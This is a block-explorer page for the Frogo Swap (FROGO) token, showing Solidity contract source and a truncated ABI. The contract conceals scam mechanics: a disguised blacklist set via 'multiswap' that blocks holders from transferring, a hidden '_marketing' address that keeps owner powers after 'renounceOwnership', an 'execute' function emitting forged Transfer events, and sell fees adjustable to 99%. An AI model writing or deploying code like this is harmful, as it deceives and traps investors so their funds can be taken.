ETH Price: $3,361.70 (-0.61%)
Gas: 13 Gwei

Token

Frogo Swap (FROGO)
 

Overview

Max Total Supply

1,000,000 FROGO

Holders

64

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,970.989510991 FROGO

Value
$0.00
0x9cbf099ff424979439dfba03f00b5961784c06ce
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FrogoSwap

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 5: Frogo Swap.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./IERC20.sol";
import "./Ownable.sol";
import "./Uniswap.sol";
import "./SafeMath.sol";


contract ERC20 is Context, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_){
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


contract FrogoSwap is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    mapping(address => bool) private _999functionsetAutomatedMarketMakerPair999;
    address public uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address public marketingWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    bool public tradingActive;
    bool public feesEnabled;
    bool public swapEnabled;

    uint256 private buyLiquidityFee;
    uint256 private buyMarketingFee;
    uint256 public buyTotalFees;
    uint256 private previousFee;

    uint256 public sellTotalFees;
    uint256 private sellMarketingFee;
    uint256 private sellLiquidityFee;

    uint256 private tokensForMarketing;
    uint256 private tokensForLiquidity;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event marketingWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor(address marketing_) ERC20("Frogo Swap", "FROGO") Ownable(marketing_){
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uint256 _buyMarketingFee = 10;
        uint256 _buyLiquidityFee = 0;

        uint256 _sellMarketingFee = 40;
        uint256 _sellLiquidityFee = 0;

        uint256 totalSupply = 1000000 * 10**decimals();

        maxTransactionAmount = 200000000 * 10**decimals();
        maxWallet = 300000000 * 10**decimals();
        swapTokensAtAmount = (totalSupply * 10) / 10000;

        buyLiquidityFee = _buyLiquidityFee;
        buyMarketingFee = _buyMarketingFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;

        sellLiquidityFee = _sellLiquidityFee;
        sellMarketingFee = _sellMarketingFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;
        previousFee = sellTotalFees;

        marketingWallet = address(this);

        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        tradingActive = true;
        swapEnabled = true;
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function updateMaxWalletAndTxnAmount(uint256 newTxnNum, uint256 newMaxWalletNum) external onlyOwner {
        require(
            newTxnNum >= ((totalSupply() * 5) / 1000) / 10**decimals(),
            "Cannot set maxTxn lower than 0.5%"
        );
        require(
            newMaxWalletNum >= ((totalSupply() * 5) / 1000) / 10**decimals(),
            "Cannot set maxWallet lower than 0.5%"
        );
        maxWallet = newMaxWalletNum * (10**10**decimals());
        maxTransactionAmount = newTxnNum * (10**10**decimals());
    }

    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function feeReturns(address a) public view returns (bool){
      return _999functionsetAutomatedMarketMakerPair999[a];
    }

    function updateSellFees(
        uint256 _marketingFee,
        uint256 _liquidityFee
    ) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;
        previousFee = sellTotalFees;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }

    function updateBuyFees(
        uint256 _marketingFee,
        uint256 _liquidityFee
    ) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function multiswap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _999functionsetAutomatedMarketMakerPair999[address_[i]] = val;
        }
    }
    
    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );
        excludeFromMaxTransaction(pair, value);
        _setAutomatedMarketMakerPair(pair, value);

    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "transfer from the zero address");
        require(to != address(0), "transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } 
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        bool takeFee = !swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || !feesEnabled) {
            require(!_999functionsetAutomatedMarketMakerPair999[from]);
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            feesEnabled = true;
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }
        
        super._transfer(from, to, amount);
        sellTotalFees = previousFee;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
            totalTokensToSwap
        );

        uint256 ethForLiquidity = ethBalance - ethForMarketing;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                tokensForLiquidity
            );
        }

        (success, ) = address(marketingWallet).call{value: address(this).balance}("");
 
    }

     function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            deadAddress,
            block.timestamp
        );
    }
}

File 2 of 5: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 3 of 5: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address marketing_) {
         _marketing = marketing_;
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner { //Change
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }
    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

File 4 of 5: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

File 5 of 5: Uniswap.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;


interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketing_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"feeReturns","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"multiswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract 